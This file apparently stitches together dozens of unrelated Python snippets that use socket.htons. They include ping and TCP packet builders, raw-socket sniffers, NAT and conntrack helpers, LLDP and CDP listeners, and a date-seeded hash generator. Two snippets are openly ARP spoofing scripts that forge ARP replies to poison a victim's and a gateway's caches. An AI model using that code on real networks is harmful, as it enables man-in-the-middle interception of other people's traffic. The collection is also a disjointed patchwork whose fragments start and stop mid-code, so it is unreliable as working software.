def __make_ack(seq_num): """Make ACK [seq_num]. Input argument: sequence number Return -> assembled ACK packet """ global TYPE_ACK, MSG_FORMAT # print("making ACK " + str(seq_num)) # Header # { # __Type (1 byte) # __Seq num (1 byte) # __Checksum (2 bytes) # __Payload len (2 bytes) # __Payload # } # Make initial message msg_format = struct.Struct(MSG_FORMAT) checksum = 0 # First set checksum to 0 init_msg = msg_format.pack(TYPE_ACK, seq_num, checksum, socket.htons(0)) + b'' # Calculate checksum checksum = __int_chksum(bytearray(init_msg)) # print("checksum = ", checksum) # A complete msg with checksum return msg_format.pack(TYPE_ACK, seq_num, checksum, socket.htons(0)) + b''
def __make_data(seq_num, data): """Make DATA [seq_num]. Input arguments: sequence number, data, checksum Return -> assembled packet """ global TYPE_DATA, MSG_FORMAT # print("__make_data() for data = " + data) # Header # { # __Type (1 byte) # __Seq num (1 byte) # __Checksum (2 bytes) # __Payload len (2 bytes) # } # Make initial message msg_format = struct.Struct(MSG_FORMAT) checksum = 0 # First set checksum to 0 init_msg = msg_format.pack(TYPE_DATA, seq_num, checksum, socket.htons(len(data))) + data # Calculate checksum checksum = __int_chksum(bytearray(init_msg)) # print("checksum = " + str(checksum)) # A complete msg with checksum complete_msg = msg_format.pack(TYPE_DATA, seq_num, checksum, socket.htons(len(data))) + data # print("__make_data() finished --> " + str(__unpack_helper(complete_msg))) return complete_msg
def sendOnePing(mySocket, destAddr, ID): # Header is type (8), code (8), checksum (16), id (16), sequence (16) myChecksum = 0 # Make a dummy heder with a 0 checksum. header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, myChecksum, ID, 1) bytesInDouble = struct.calcsize("d") data = (192 - bytesInDouble) * "Q" data = struct.pack("d", time.time()) + data # Calculate the checksum on the data and the dummy header. myChecksum = checksum(header + data) # Now that we have the right checksum, we put that in. It's just easier # to make up a new header than to stuff it into the dummy. if sys.platform == 'darwin': myChecksum = socket.htons(myChecksum) & 0xffff else: myChecksum = socket.htons(myChecksum) header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, myChecksum, ID, 1) packet = header + data mySocket.sendto(packet, (destAddr, 1)) # Don't know about the 1
def makestruct(self): #attrs = [i[0] for i in OF_STRUCT] self.raw = [] for i in xrange(len(OF_STRUCT)): if i < 1: self.raw.append(htons(getattr(self, OF_STRUCT[i][0], 0))) elif 0 < i < 3: for x in getattr(self, OF_STRUCT[i][0], [0 for i in xrange(6)]): self.raw.append(x) else: #self.raw[i+10] = getattr(self, attrs[i], 0) if (OF_STRUCT[i][1] == "H"): self.raw.append(htons(getattr(self, OF_STRUCT[i][0], 0))) elif (OF_STRUCT[i][1] == "I"): # Wow, this is ugly. Looking for a better way to do what I want which # is get a plain int from the formatted address self.raw.append(int(struct.unpack("I", inet_aton(getattr(self, OF_STRUCT[i][0], "0.0.0.0")))[0])) else: # Bytes don't need htons self.raw.append(getattr(self, OF_STRUCT[i][0], 0)) # Append the padding for i in xrange(len(OF_STRUCT[-1][1])-1): self.raw.append(0) self.packed = self._struct.pack(*self.raw)
def sendOnePing(mySocket, destAddr, ID): # Make a dummy header with a 0 checksum. myChecksum = 0 # Header is type (8), code (8), checksum (16), id (16), sequence (16) # struct -- Interpret strings as packed binary data header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, myChecksum, ID, 1) # Pack binary data that keeps track of the current time right before we sendOnePing() data = struct.pack("d", time.time()) # Calculate the checksum on the data and the dummy header. myChecksum = checksum(header + data) # Get the right checksum, and put it in the header if sys.platform == 'darwin': #Convert 16-bit integers from host to network byte order. myChecksum = socket.htons(myChecksum) & 0xffff else: myChecksum = socket.htons(myChecksum) header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, myChecksum, ID, 1) packet = header + data # Send the ping to the destination address # AF_INET address must be tuple, not str mySocket.sendto(packet, (destAddr, 1))
def build_packet(): # In the sendOnePing() method of the ICMP Ping exercise ,firstly the header of our # packet to be sent was made, secondly the checksum was appended to the header and # then finally the complete packet was sent to the destination. # Make the header in a similar way to the ping exercise. # Append checksum to the header. # Don’t send the packet yet , just return the final packet in this function. # So the function ending should look like this # packet = header + data # return packet myChecksum = 0 myID = os.getpid() & 0xFFFF header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, myChecksum, myID, 1) data = struct.pack("d", time.time()) myChecksum = checksum(header + data) if sys.platform == 'darwin': myChecksum = socket.htons(myChecksum) & 0xffff else: myChecksum = socket.htons(myChecksum) header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, myChecksum, myID, 1) packet = header + data return packet
def read_reg(self, reg ): regVal = int(reg) if (regVal < 0) or (regVal > self.MAX_REG_NUM): print "Error read_reg: Invalid register number" return None #set up listening socket, do before sending read request sock_readresp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Internet, UDP sock_readresp.bind(('', self.UDP_PORT_RREGRESP )) sock_readresp.settimeout(2) #crazy packet structure require for UDP interface READ_MESSAGE = struct.pack('HHHHHHHHH',socket.htons(self.KEY1), socket.htons(self.KEY2),socket.htons(regVal),0,0,socket.htons(self.FOOTER),0,0,0) sock_read = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Internet, UDP sock_read.setblocking(0) sock_read.sendto(READ_MESSAGE,(self.UDP_IP,self.UDP_PORT_RREG)) sock_read.close() #try to receive response packet from board, store in hex data = [] try: data = sock_readresp.recv(4096) except socket.timeout: print "Error read_reg: No read packet received from board, quitting" sock_readresp.close() return -1 dataHex = data.encode('hex') sock_readresp.close() #extract register value from response if int(dataHex[0:4],16) != regVal : print "Error read_reg: Invalid response packet" return None dataHexVal = int(dataHex[4:12],16) return dataHexVal
def fix_msg(msg, kwarg): if 'protocol' not in kwarg: msg['info'] = htons(protocols.ETH_P_ALL & 0xffff) |\ ((kwarg.get('prio', 0) << 16) & 0xffff0000) else: msg['info'] = htons(kwarg.get('protocol', 0) & 0xffff) |\ ((kwarg.get('prio', 0) << 16) & 0xffff0000)
def build_message(pid, timeout): """ Build a datagram packet to send to the condor_master. The package format is (command, pid, timeout). The command is always DC_CHILDALIVE (the integer 60008). The pid is the pid of the process the master is monitoring, i.e. getpid if this script. The timeout is the amount of time, in seconds, the master will wait before killing the pid. Each field in the packet must be 8 bytes long, thus the padding. """ DC_CHILDALIVE = 60008 message = array.array('H') message.append(0) message.append(0) message.append(0) # padding message.append(socket.htons(DC_CHILDALIVE)) message.append(0) message.append(0) message.append(0) # padding message.append(socket.htons(pid)) message.append(0) message.append(0) message.append(0) # padding message.append(socket.htons(timeout)) return(message.tostring())
def makeTcpHeader(sport, dport, icheckSum=None, char=None): sourcePort = sport destAddrPort = dport ### just set to http server seqNum = 0 ackNum = 0 dataOffset = 5 flagFin = 0 flagSyn = 1 flagRst = 0 flagPsh = 0 flagAck = 0 flagUrg = 0 if char is None: window = socket.htons(5840) # maximum allowed window size else: print (char) window = socket.htons(ord(char)) if(icheckSum is None): checkSum = 0 else: checkSum = icheckSum urgentPointer = 0 dataOffsetResv = (dataOffset << 4) + 0 flags = (flagUrg << 5) + (flagAck << 4) + (flagPsh << 3) + (flagRst << 2) + (flagSyn << 1) + flagFin return pack('!HHLLBBHHH', int(sourcePort), int(destAddrPort), seqNum, ackNum, dataOffsetResv, flags, window, checkSum, urgentPointer)
def get_packet(): HOST = socket.gethostbyname(socket.gethostname()) s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP) s.bind((HOST, 0)) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) net_data["unknow"] = 0 while True: buf = s.recvfrom(65565) port = struct.unpack('HH', buf[0][20:24]) src_ip = "%d.%d.%d.%d"%struct.unpack('BBBB', buf[0][12:16]) dest_ip ="%d.%d.%d.%d"%struct.unpack('BBBB', buf[0][16:20]) src_port = socket.htons(port[0]) dest_port = socket.htons(port[1]) data_len = len(buf[0]) key="%s:%d %s:%d"%(src_ip,src_port,dest_ip,dest_port) if not d_net_info.has_key(key): get_net_info() if d_net_info.has_key(key): key2 ="%s %s"%(key,d_net_info[key]) if net_data.has_key(key2): net_data[key2] =net_data[key2]+data_len else: net_data[key2] = data_len else: net_data["unknow"] =net_data["unknow"] + data_len
def createPackage(self): aboname=self.aboName+ '\0'; type = (socket.htons(self.type)) leng = (socket.htons(len(aboname))) fmt = 'hh%ss%ss'%(len(aboname),len(self.data)) output = struct.pack(fmt,int(type),int(leng),aboname,self.data) return output
def serialize(self): cmd = 'strm' tmp = ( self.operation + self.autostart + self.format + self.pcm_sample_size + self.pcm_sample_rate + self.pcm_channels + self.pcm_endianness + struct.pack('<B', self.in_threshold) + self.spdif + struct.pack('<B', self.fade_time) + self.fade_type + struct.pack('<B', self.flags) + struct.pack('<B', self.out_threshold) + self.reserved + struct.pack('<HH', socket.htons(self.gain[0]), socket.htons(self.gain[1])) + struct.pack('<H', socket.htons(self.server_port)) + struct.pack('<L', socket.htonl(self.server_ip)) ) if len(tmp) != 24: raise Exception, 'strm command not 24 bytes in length' if self.operation == Strm.OP_START: s = 'GET %s?seek=%s HTTP/1.0\r\n' % (self.resource, self.seek) s = s.encode('utf-8') params = tmp + struct.pack('%ds' % len(s), s) # SqueezeCenter does this (on the GET, but it's all the same). why? #if len(params) % 2 != 0: # params = params + '\n' else: params = tmp length = struct.pack('<H', socket.htons(len(cmd + params))) return length + cmd + params
def get_packet(): HOST = socket.gethostbyname(socket.gethostname()) s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP) HOST = '127.0.0.1' # '169.254.110.192' #'14.23.184.237' s.bind((HOST, 0)) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) while True: buf = s.recvfrom(65565)[0] # print 'buf[0]'+str(len(buf[0]))+": "+ str(binascii.b2a_hex(buf[0])) # print 'buf[0]'+str(len(buf)-40)+": "+ str(buf[40:]) port = struct.unpack('HH', buf[20:24]) src_ip = "%d.%d.%d.%d" % struct.unpack('BBBB', buf[12:16]) dest_ip = "%d.%d.%d.%d" % struct.unpack('BBBB', buf[16:20]) src_port = socket.htons(port[0]) dest_port = socket.htons(port[1]) if src_port != 12021 and dest_port != 12021: # or (ord(buf[33]) & 0b00001000 == 0): continue data_len = len(buf) key = "%s:%d - %s:%d - %d - %s" % (src_ip, src_port, dest_ip, dest_port, data_len - 40, str(buf[40:])) # print key processData(buf[40:])
def __init__(self, src, dst): self.src = bytes(bytearray.fromhex(src)) self.dst = bytes(bytearray.fromhex(dst)) self.type = socket.htons(257) self.socket = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0800)) self.socket.bind(("eth0", 0)) print(self.socket)
def __init__(self, type=ETH_P_ALL, filter=None, promisc=None, iface=None, nofilter=0): # noqa: E501 self.type = type self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) # noqa: E501 self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 0) if iface: self.ins.bind((iface, type)) if not nofilter: if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if filter is not None: attach_filter(self.ins, filter, iface) _flush_fd(self.ins) self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30) self.outs = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) # noqa: E501 self.outs.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 2**30) self.promisc = conf.promisc if promisc is None else promisc if self.promisc: if iface is None: self.iff = get_if_list() elif isinstance(iface, list): self.iff = iface else: self.iff = [iface] for i in self.iff: set_promisc(self.ins, i)
def sendOnePing(icmpSocket, destAddr, ID, pingnum): srcChecksum = 0 # Make a dummy header with a 0 checksum. # bbHHh = signed char, signed char, unsigned short, unsigned short, short header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, srcChecksum, ID, 1) # d = double data = struct.pack("d", time.time()) # Calculate the checksum on the data and the dummy header. srcChecksum = checksum(header + data) # Calculate the checksum for the packet if sys.platform == 'darwin': # Mac OS X #Convert 16-bit integers from host to network byte order. srcChecksum = socket.htons(srcChecksum) & 0xffff else: # Linux, UNIX, Windows srcChecksum = socket.htons(srcChecksum) # Fill in header checksum with correct value # bbHHh = signed char, signed char, unsigned short, unsigned short, short header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, srcChecksum, ID, 1) packet = header + data if (pingnum == 0): packetSize = len(packet) headerSize = len(header) dataSize = len(data) print "Pinging " + destAddr + " with " + str(packetSize) + " bytes of data (Header=" + str(headerSize) + " bytes, Data=" + str(dataSize) + " bytes)" print "" icmpSocket.sendto(packet, (destAddr, 1))
def src_port(self): if hasattr(self, "sport"): return socket.htons(self.sport) elif hasattr(self, "inet_sport"): return socket.htons(self.inet_sport) else: return None
def sendOnePing(mySocket, destAddr, ID): # Header is type (8), code (8), checksum (16), id (16), sequence (16) myChecksum = 0 # Make a dummy header with a 0 checksum. # struct -- Interpret strings as packed binary data header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, myChecksum, ID, 1) data = struct.pack("d", time.time()) # Calculate the checksum on the data and the dummy header. myChecksum = checksum(header + data) #Get the right checksum, and put in the header if sys.platform == 'darwin': myChecksum = socket.htons(myChecksum) & 0xffff #Convert 16-bit integers from host to network byte order. else: myChecksum = socket.htons(myChecksum) print "The header sent with the ICMP request is ", ICMP_ECHO_REQUEST,0,myChecksum,ID,1 header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, myChecksum, ID, 1) packet = header + data mySocket.sendto(packet, (destAddr, 1)) # AF_INET address must be tuple, not str
def seeder(index, salt): edi = salt + index edx = 0 ecx = 0x03E8 eax = edi edx = eax % ecx eax = eax / ecx print "eax : %x edx : %x salt : %x" % (eax, edx, salt) day, month, year = getDate() h = hashlib.new("md5") dx = ("%08x" % socket.htonl(edx)).decode("hex") print "\tedx : " + dx.encode("hex") h.update(dx) y = ("%x" % socket.htons(year)).decode("hex") print "\tyear : " + y.encode("hex") h.update(y) s = ("%08x" % socket.htonl(salt)).decode("hex") print "\tsalt : " + s.encode("hex") h.update(s) m = ("%04x" % socket.htons(month)).decode("hex") print "\tmonth : " + m.encode("hex") h.update(m) print "\tsalt : " + s.encode("hex") h.update(s) #d = ("%x" % socket.htons(day)).decode("hex") #print "\tday : " + d.encode("hex") #h.update(d) print "\tsalt : " + s.encode("hex") h.update(s) seed = h.hexdigest() return seed, edx
def getnameinfo(self, ip_port, flags, callback): if not callable(callback): raise AresError("a callable is required") ip, port = ip_port if port < 0 or port > 65535: raise ValueError("port must be between 0 and 65535") sa4 = _ffi.new("struct sockaddr_in*") sa6 = _ffi.new("struct sockaddr_in6*") if 1 == _lib.ares_inet_pton(socket.AF_INET, s2b(ip), _ffi.addressof(sa4.sin_addr)): sa4.sin_family = socket.AF_INET sa4.sin_port = socket.htons(port) sa = sa4 elif 1 == _lib.ares_inet_pton(socket.AF_INET6, s2b(ip), _ffi.addressof(sa6.sin6_addr)): sa6.sin6_family = socket.AF_INET6 sa6.sin6_port = socket.htons(port) sa = sa6 else: raise ValueError("invalid IP address") userdata = _ffi.new_handle(callback) _global_set.add(userdata) _lib.ares_getnameinfo(self.channel, _ffi.cast("struct sockaddr*", sa), _ffi.sizeof(sa[0]), flags, _nameinfo_cb, userdata)
def handle_two_side_traffic(nfqueue_element): try: ip_packet = dpkt.ip.IP(nfqueue_element.get_payload()) src = socket.inet_ntoa(ip_packet.src) dst = socket.inet_ntoa(ip_packet.dst) sport = ip_packet.udp.sport dport = ip_packet.udp.dport print(src, sport, dst, dport) ct = nfct.nfct_new() if not ct: raise Exception("nfct_new failed!") nfct.nfct_set_attr_u8(ct, ATTR_L3PROTO, socket.AF_INET) nfct.nfct_set_attr_u32(ct, ATTR_IPV4_SRC, socket.htonl(struct.unpack('!I', ip_packet.src)[0])) nfct.nfct_set_attr_u32(ct, ATTR_IPV4_DST, socket.htonl(struct.unpack('!I', ip_packet.dst)[0])) nfct.nfct_set_attr_u8(ct, ATTR_L4PROTO, socket.IPPROTO_UDP) nfct.nfct_set_attr_u16(ct, ATTR_PORT_SRC, socket.htons(sport)) nfct.nfct_set_attr_u16(ct, ATTR_PORT_DST, socket.htons(dport)) nfct.nfct_setobjopt(ct, NFCT_SOPT_SETUP_REPLY) nfct.nfct_set_attr_u32(ct, ATTR_DNAT_IPV4, socket.htonl(struct.unpack('!I', socket.inet_aton('8.8.8.8'))[0])) nfct.nfct_set_attr_u16(ct, ATTR_DNAT_PORT, socket.htons(53)) nfct.nfct_set_attr_u32(ct, ATTR_TIMEOUT, 120) h = nfct.nfct_open(CONNTRACK, 0) if not h: raise Exception("nfct_open failed!") try: ret = nfct.nfct_query(h, NFCT_Q_CREATE, ct) if ret == -1: raise Exception("nfct_query failed!") finally: nfct.nfct_close(h) raw_socket.sendto(str(ip_packet), (dst, 0)) nfqueue_element.drop() except: traceback.print_exc() nfqueue_element.accept()
def pf_query_nat(family, proto, src_ip, src_port, dst_ip, dst_port): [proto, family, src_port, dst_port] = [ int(v) for v in [proto, family, src_port, dst_port]] packed_src_ip = socket.inet_pton(family, src_ip) packed_dst_ip = socket.inet_pton(family, dst_ip) assert len(packed_src_ip) == len(packed_dst_ip) length = len(packed_src_ip) pnl = osdefs.pfioc_natlook() pnl.proto = proto pnl.direction = osdefs.PF_OUT pnl.af = family memmove(addressof(pnl.saddr), packed_src_ip, length) memmove(addressof(pnl.daddr), packed_dst_ip, length) pnl.sxport.port = socket.htons(src_port) pnl.dxport.port = socket.htons(dst_port) ioctl(pf_get_dev(), osdefs.DIOCNATLOOK, (c_char * sizeof(pnl)).from_address(addressof(pnl))) ip = socket.inet_ntop( pnl.af, (c_char * length).from_address(addressof(pnl.rdaddr)).raw) port = socket.ntohs(pnl.rdxport.port) return (ip, port)
def sendOnePing(mySocket, destAddr, ID): # Make a dummy header with a 0 checksum # Header is type (8), code (8), checksum (16), id (16), sequence (16) header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, # type (byte) 0, # code (byte) 0, # checksum (halfword, 2 bytes) ID, # ID (halfword) 1) # sequence (halfword) data = struct.pack("d", time.time()) # Calculate the checksum on the data and the dummy header. myChecksum = checksum(header + data) # Get the right checksum, and put in the header if sys.platform == 'darwin': # htons: Convert 16-bit integers from host to network byte order myChecksum = socket.htons(myChecksum) & 0xffff else: myChecksum = socket.htons(myChecksum) header = struct.pack("bbHHh", ICMP_ECHO_REQUEST, 0, myChecksum, ID, 1) packet = header + data # AF_INET address must be tuple, not str mySocket.sendto(packet, (destAddr, 1))
def get_packet(): host = socket.gethostbyname(socket.gethostname()) s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP) s.bind((host, 0)) # 设置Socket s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) # net_data["unknow"] = 0 while True: buffer = s.recvfrom(65565) # 从Socket中获取数据,不过包含自己信息 port = _struct.unpack('HH', buffer[0][20:24]) # 从Buffer数据中获取网络IP和端口信息 src_ip = "%d.%d.%d.%d" % _struct.unpack('BBBB', buffer[0][12:16]) dest_ip = "%d.%d.%d.%d" % _struct.unpack('BBBB', buffer[0][16:20]) src_port = socket.htons(port[0]) dest_port = socket.htons(port[1]) data_len = len(buffer[0]) key = "%s:%d-%s:%d" % (src_ip, src_port, dest_ip, dest_port) net_data['process_speed'] = 0 net_data['total_speed'] = 0 if key in process_connections: net_data['process_speed'] += data_len net_data['total_speed'] += data_len
def recv_udp(listener, bufsize): debug3('Accept UDP using socket_ext recvmsg.\n') srcip, data, adata, flags = listener.recvmsg( (bufsize,), socket.CMSG_SPACE(24)) dstip = None family = None for a in adata: if a.cmsg_level == socket.SOL_IP and a.cmsg_type == IP_ORIGDSTADDR: family, port = struct.unpack('=HH', a.cmsg_data[0:4]) port = socket.htons(port) if family == socket.AF_INET: start = 4 length = 4 else: raise Fatal("Unsupported socket type '%s'" % family) ip = socket.inet_ntop( family, a.cmsg_data[start:start + length]) dstip = (ip, port) break elif a.cmsg_level == SOL_IPV6 and a.cmsg_type == IPV6_ORIGDSTADDR: family, port = struct.unpack('=HH', a.cmsg_data[0:4]) port = socket.htons(port) if family == socket.AF_INET6: start = 8 length = 16 else: raise Fatal("Unsupported socket type '%s'" % family) ip = socket.inet_ntop( family, a.cmsg_data[start:start + length]) dstip = (ip, port) break return (srcip, dstip, data[0])
def serialize(self): cmd = 'grfe' params = ( struct.pack('<H', socket.htons(self.offset)) + self.transition + struct.pack('<B', self.distance) + self.bitmap ) length = struct.pack('<H', socket.htons(len(cmd + params))) return length + cmd + params
def payload(self, payload): header = self.headers[0] if self._payload: #recalculate length (current length - (current_payload_length - new_payload_length))) header.Length = socket.ntohs(socket.htons(header.Length) - (len(self._payload) - len(payload))) else: #payload was empty: current_length + new_payload_length header.Length = socket.ntohs(socket.htons(header.Length) + len(payload)) self._payload = payload
def format_port(self, inet_sock): if hasattr(inet_sock, 'dport'): dport = socket.htons(inet_sock.dport) sport = socket.htons(inet_sock.sport) else: dport = socket.htons(inet_sock.inet_dport) sport = socket.htons(inet_sock.inet_sport) return (dport, sport)
def send_the_list_size(self, peer_serve_socket): # {{{ _p_("Sending the number of monitors", self.MONITOR_NUMBER) message = struct.pack("H", socket.htons(self.MONITOR_NUMBER)) peer_serve_socket.sendall(message) _p_("Sending a list of peers of size", len(self.peer_list)) message = struct.pack("H", socket.htons(len(self.peer_list))) peer_serve_socket.sendall(message)
import uuid import socket from mac_utils import mac_string_to_bytes as mac_convert ETH_P_ALL = 3 interface = 'eth0' dst = mac_convert("02:42:ac:10:00:09") # destination MAC address src = uuid.getnode().to_bytes(6, 'big') # source MAC address proto = b'\x88\xb5' # ethernet frame type payload = 'Hi'.encode() # payload s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(ETH_P_ALL)) s.bind((interface, 0,)) s.sendall(dst + src + proto + payload) s.close()
protocol, check, saddr, daddr) # tcp header fields source = 1234 # source port dest = 80 # destination port seq = 0 ack_seq = 0 doff = 5 #4 bit field, size of tcp header, 5 * 4 = 20 bytes #tcp flags fin = 0 syn = 1 rst = 0 psh = 0 ack = 0 urg = 0 window = socket.htons(5840) # maximum allowed window size check = 0 urg_ptr = 0 offset_res = (doff << 4) + 0 tcp_flags = fin + (syn << 1) + (rst << 2) + (psh << 3) + (ack << 4) + ( urg << 5) # the ! in the pack format string means network order tcp_header = pack('!HHLLBBHHH', source, dest, seq, ack_seq, offset_res, tcp_flags, window, check, urg_ptr) # pseudo header fields source_address = socket.inet_aton(source_ip) dest_address = socket.inet_aton(dest_ip) placeholder = 0
#ARP Spoof single victim. import socket import struct import binascii s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) s.bind(("wlan0", socket.htons(0x0800))) sor = "" #Source Mac Address. victmac = "" #Victims Mac Address. gatemac = "" #Gateway Mac Address. code = "\x08\x06" #Protocol type, (\x08\x06 is the ARP protocol) eth1 = victmac + sor + code #For Victims eth2 = gatemac + sor + code #For gateway htype = "\x00\x01" #Denote the Ethernet frame. protype = "\x08\x00" #Protocol type. hsize = "\x06" #Hardware address size. psize = "\x04" #Gives the IP Address length. opcode = "\x00\x02" #Reply Packet. gate_ip = "192.168.1.1" victim_ip = "192.168.1.11" gip = socket.inet_aton(gate_ip) #Converts the IP Address to Hex. vip = socket.inet_aton(victim_ip) #converts the IP Address to Hex. arp_victim = eth1 + htype + protype + hsize + psize + opcode + sor + gip + victmac + vip arp_gateway = eth2 + htype + protype + hsize + psize + opcode + sor + vip + gatemac + gip
def are_peers(send_iface, recv_iface): # Create a unique payload to match against later identifier = 'IF%sIF' % send_iface payload = '%s%s' % (identifier, os.urandom(46 - len(identifier))) src_mac = get_mac_addr(send_iface) # broadcast address dest_mac = ('f' * 12).decode('hex') # use an unregistered ethertype for peer discovery frame_type = '\x50\x44' frame_type_int = int(frame_type.encode('hex'), 16) # Configure socket on send interface send_sock = socket.socket( socket.AF_PACKET, socket.SOCK_RAW, socket.htons(frame_type_int) ) send_sock.setsockopt(socket.SOL_SOCKET, SO_BINDTODEVICE, send_iface + '\0') send_sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) send_sock.bind((send_iface, 0)) send_sock.setblocking(0) # Configure socket on receive interface recv_sock = socket.socket( socket.AF_PACKET, socket.SOCK_RAW, socket.htons(frame_type_int) ) recv_sock.setsockopt(socket.SOL_SOCKET, SO_BINDTODEVICE, recv_iface + '\0') recv_sock.bind((recv_iface, 0)) recv_sock.settimeout(0.5) # Put receive socket in promiscuous mode current_flags = 0 ifreq = fcntl.ioctl( recv_sock.fileno(), SIOCGIFFLAGS, struct.pack('256s', recv_iface[:15]) ) (current_flags,) = struct.unpack('16xH', ifreq[:18]) current_flags |= IFF_PROMISC ifreq = struct.pack('16sH', recv_iface, current_flags) fcntl.ioctl(recv_sock.fileno(), SIOCSIFFLAGS, ifreq) for _ in xrange(3): try: packet = ''.join([dest_mac, src_mac, frame_type, payload]) send_sock.sendall(packet) data = recv_sock.recv(60) except (socket.timeout, socket.error): continue recv_frame_type = data[12:14] recv_payload = data[14:] if payload == recv_payload and frame_type == recv_frame_type: peers = True break else: peers = False # Take receiving interface out of promiscuous mode current_flags ^= IFF_PROMISC ifreq = struct.pack('16sH', recv_iface, current_flags) fcntl.ioctl(recv_sock.fileno(), SIOCSIFFLAGS, ifreq) recv_sock.close() send_sock.close() return peers
# for byte in ip_packet.payload: # string += str(format(byte, "#04x")) + " " # print(string) etapa2.TCP_Socket.raw_recv(fd, ip_packet, mac, app) def calc_checksum(segment): if len(segment) % 2 == 1: # se for ímpar, faz padding à direita segment += b'\x00' checksum = 0 for i in range(0, len(segment), 2): x, = struct.unpack('!H', segment[i:i + 2]) checksum += x while checksum > 0xffff: checksum = (checksum & 0xffff) + 1 checksum = ~checksum return checksum & 0xffff if __name__ == '__main__': # Ver http://man7.org/linux/man-pages/man7/raw.7.html fd = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(ETH_P_ALL)) fd.bind((if_name, 0)) loop = asyncio.get_event_loop() loop.add_reader(fd, raw_recv, fd) # asyncio.get_event_loop().call_later(1, send_ping, fd) loop.run_forever()
def ethernet_frame(data): dest_mac, src_mac, proto = struct.unpack('! 6s 6s H', data[:14]) return get_mac_addr(dest_mac), get_mac_addr(src_mac), socket.htons( proto), data[14:]
import socket import struct import binascii s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs(0x0800)) s.bind(("eth0", socket.htons(0x0800))) attacker_mac = '\x08\x00\x27\x18\x77\x4c' victim_mac = '\x08\x00\x27\xA6\xD1\x8A' gate_mac = '\x52\x54\x00\x12\x35\x00' code = '\x08\x06' victim_header = victim_mac + attacker_mac + code gate_header = gate_mac + attacker_mac + code htype = '\x00\x01' protype = '\x08\x00' mac_size = '\x06' ip_size = '\x04' opcode = '\x00\x02' gate_ip = '10.0.2.1' victim_ip = '10.0.2.6' gip = socket.inet_aton(gate_ip) vip = socket.inet_aton(victim_ip) arp_victim = victim_header + htype + protype + mac_size + ip_size + opcode + attacker_mac + gip + victim_mac + vip arp_gateway = gate_header + htype + protype + mac_size + ip_size + opcode + attacker_mac + vip + gate_mac + gip
num = str(int(id_len, 16) - 4) id = struct.unpack('!' + num + 's', pkt[0][30:30 + int(num)]) #***********SOFTWARE INFORMATION********* software_len = binascii.hexlify(pkt[0][28 + int(id_len, 16):30 + int(id_len, 16)]) num = str(int(software_len, 16) - 4) software = struct.unpack( '!' + num + 's', pkt[0][30 + int(id_len, 16):30 + int(id_len, 16) + int(num)]) print "CDP Version : " + str(version[0]) print "Device ID : " + id[0] print "Software Information : " + software[0] print "****************************************" cdp = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(0x0003)) try: while True: pkt = cdp.recvfrom(2048) if (len(pkt) > 0): ether = pkt[0][0:14] ether = struct.unpack('!6s6s2s', ether) dst_mac = binascii.hexlify(ether[0]) src_mac = binascii.hexlify(ether[1]) if (dst_mac == '01000ccccccc'): print "****************************************" print "CISCO DEVICE FOUND - Source MAC : " + src_mac show_result(pkt) except: cdp.close()
def main(): """ Low Level Discovery Protocol """ parser = argparse.ArgumentParser() output = parser.add_mutually_exclusive_group(required=False) output.add_argument("-p", "--pretty", action="store_true", help="Prints output to table") output.add_argument("-j", "--json", action="store_true", help="Prints output to json") args = parser.parse_args() rv = dict() netdevs = detect_netdevs() # Build a table if asked if args.pretty: print "Polling interfaces for LLDP. This may take a bit..." for interface_name, interface_ip in netdevs: rv[interface_name] = dict() state = get_interface_state(interface_name) rv[interface_name]['state'] = state kind = get_interface_kind(interface_name) rv[interface_name]['kind'] = kind # Toggle if DOWN if state is 'DOWN': toggle = True next_state = 'down' toggle_interface(interface_name, 'up') time.sleep(10) # sleep to allow interface to change state = get_interface_state(interface_name) else: toggle = False capture_sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)) capture_sock.bind((interface_name, 0)) promiscuous_mode(interface_name, capture_sock, True) signal.signal(signal.SIGINT, exit_handler) signal.signal(signal.SIGALRM, exit_handler) signal.alarm(ADV_TIMEOUT) # Set defaults rv[interface_name]['portid'] = PORTID rv[interface_name]['switch'] = SWITCH rv[interface_name]['vlan'] = VLANID while True and state is 'UP': packet = capture_sock.recvfrom(65565) packet = packet[0] eth_dest_mac, eth_src_mac, eth_protocol, eth_payload = unpack_ethernet_frame( packet)[1:] # Convert tuple MAC to hex MAC hex_src_mac = ':'.join(covert_hex_string(list(eth_src_mac))) 